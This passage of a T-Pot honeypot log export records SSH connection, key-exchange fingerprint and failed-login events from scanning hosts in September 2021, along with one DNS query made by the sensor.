["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9364a00340ee", "@version": "1", "timestamp": "2021-09-20T11:06:43.660140Z", "@timestamp": "2021-09-20T11:06:43.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21253	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:43.407652+03	2021-09-20 14:15:03.425612+03	{"_id": "CQbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41842, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.407652", "@timestamp": "2021-09-20T11:06:43.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21254	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:43.572504+03	2021-09-20 14:15:03.427613+03	{"_id": "CgbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40604, "timestamp": "2021-09-20T11:06:43.572504", "@timestamp": "2021-09-20T11:06:43.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30374	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:34:40.802818+03	2021-09-20 14:45:02.922142+03	{"_id": "TAb8AnwBvYTbRNuEmDwq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 44059, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 792421228101634, "@version": "1", "in_iface": "enp5s0", "src_port": 48846, "dest_port": 53, "timestamp": "2021-09-20T11:34:40.802818Z", "@timestamp": "2021-09-20T11:34:40.802Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
21257	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:44.029385+03	2021-09-20 14:15:03.431613+03	{"_id": "_QbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/default] failed", "session": "078ee39c115f", "@version": "1", "password": "default", "username": "admin", "timestamp": "2021-09-20T11:06:44.029385Z", "@timestamp": "2021-09-20T11:06:44.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21258	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:44.130285+03	2021-09-20 14:15:03.432614+03	{"_id": "_gbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7e0a483755f4", "@version": "1", "duration": 2.426166296005249, "timestamp": "2021-09-20T11:06:44.130285Z", "@timestamp": "2021-09-20T11:06:44.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21259	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:44.291643+03	2021-09-20 14:15:03.433613+03	{"_id": "GwbjAnwBvYTbRNuEBgLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33870 (192.168.176.2:22) [session: ef4f33bd8365]", "session": "ef4f33bd8365", "@version": "1", "protocol": "ssh", "src_port": 33870, "dest_port": 22, "timestamp": "2021-09-20T11:06:44.291643Z", "@timestamp": "2021-09-20T11:06:44.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21260	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:44.625483+03	2021-09-20 14:15:03.435613+03	{"_id": "JgbjAnwBvYTbRNuEBgLx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38994 (192.168.176.2:22) [session: f92dc203e6b3]", "session": "f92dc203e6b3", "@version": "1", "protocol": "ssh", "src_port": 38994, "dest_port": 22, "timestamp": "2021-09-20T11:06:44.625483Z", "@timestamp": "2021-09-20T11:06:44.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21261	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:44.630267+03	2021-09-20 14:15:03.436612+03	{"_id": "PQbjAnwBvYTbRNuEBgL3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38994, "timestamp": "2021-09-20T11:06:44.630267", "@timestamp": "2021-09-20T11:06:44.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21271	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:45.830378+03	2021-09-20 14:15:03.449614+03	{"_id": "XwbjAnwBvYTbRNuECgLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9364a00340ee", "@version": "1", "duration": 2.6385915279388428, "timestamp": "2021-09-20T11:06:45.830378Z", "@timestamp": "2021-09-20T11:06:45.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21262	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:44.628173+03	2021-09-20 14:15:03.438612+03	{"_id": "GQbjAnwBvYTbRNuEBgLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f92dc203e6b3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:44.628173Z", "@timestamp": "2021-09-20T11:06:44.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21263	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:45.066881+03	2021-09-20 14:15:03.439613+03	{"_id": "GgbjAnwBvYTbRNuEBgLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "214fca9416e8", "@version": "1", "timestamp": "2021-09-20T11:06:45.066881Z", "@timestamp": "2021-09-20T11:06:45.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21264	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:46.023718+03	2021-09-20 14:15:03.440613+03	{"_id": "VwbjAnwBvYTbRNuECgLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:54308 (192.168.176.2:22) [session: 8a535f8b207e]", "session": "8a535f8b207e", "@version": "1", "protocol": "ssh", "src_port": 54308, "dest_port": 22, "timestamp": "2021-09-20T11:06:46.023718Z", "@timestamp": "2021-09-20T11:06:46.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21265	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:45.785966+03	2021-09-20 14:15:03.442613+03	{"_id": "SwbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", 